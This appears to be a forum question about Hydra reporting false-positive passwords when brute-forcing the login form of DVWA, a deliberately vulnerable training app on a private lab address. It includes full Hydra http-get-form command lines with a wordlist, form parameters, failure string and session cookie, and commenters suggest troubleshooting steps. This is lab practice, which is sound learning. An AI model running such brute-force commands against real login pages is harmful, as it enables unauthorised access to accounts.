up vote 1 down vote favorite

I have an issue with Hydra when I use it. I have tried the same command lines given in guides directly supported by the Damn Vulnerable Web Application (DVWA) v1.8.

Ok so.. here is my attempt output...

root@kali:~# hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt
http-get-form "/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&
password=^PASS^&submit=Login:Username and/or password incorrect." -f

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-09-06 05:18:12
[DATA] 16 tasks, 1 server, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.1.2   login: admin   password: shadow
[STATUS] attack finished for 192.168.1.2 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-09-06 05:18:12

Yes, its true that the HTML form method is GET. :O)

Ok so, regardless how many times I run the command I get different answers.. like..

Attempt 1

[80][www-form] host: 192.168.1.2   login: admin   password: 101193
[80][www-form] host: 192.168.1.2   login: admin   password: horse

Attempt 2

[80][www-form] host: 192.168.1.2   login: admin   password: carhorn
[80][www-form] host: 192.168.1.2   login: admin   password: shadowfox
[80][www-form] host: 192.168.1.2   login: admin   password: multible

UPDATE!!!!

hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt http-get-form 
"/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&
submit=Login:Username and/or password incorrect.:H=Cookie: security=high;
PHPSESSID=jtujthkeh08foqfomph232rp77"

I tried to add the cookie phpsession id aswell. I also tried to put in the:

-t <tasks>

So far I have no success.

share|improve this question
  • I may add that, the password file that use do contain the correct password. I think its about line 20 or so its found in the file. – Daniel Sep 6 '13 at 9:36
  • 2
    hydra scans for "Username and/or password incorrect" to detect failed attempts in the answer. if this is not found, for whatever reasons, if thinx that login is OK. – that guy from over there Sep 6 '13 at 9:45
  • Thanks for your comment, but the output text is correct in my case :-). The output text the application makes is "Username and/or password incorrect." – Daniel Sep 6 '13 at 9:48
  • Let me add that i tried to set different failure attempts in aswell, as in parts of the failed text. – Daniel Sep 6 '13 at 9:51
  • 1
    the output-text is correct, thats not what i wanted to say. what i wanted to say is: what happens if the response is empty? or your server is overloaded and doesnt respond / respond with 403? i see the issue here with hydra, not beeing able to detect false positives. maybe you limit the concurrent-number of tests until you get valid results – that guy from over there Sep 6 '13 at 10:59

Your Answer

 

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Browse other questions tagged or ask your own question.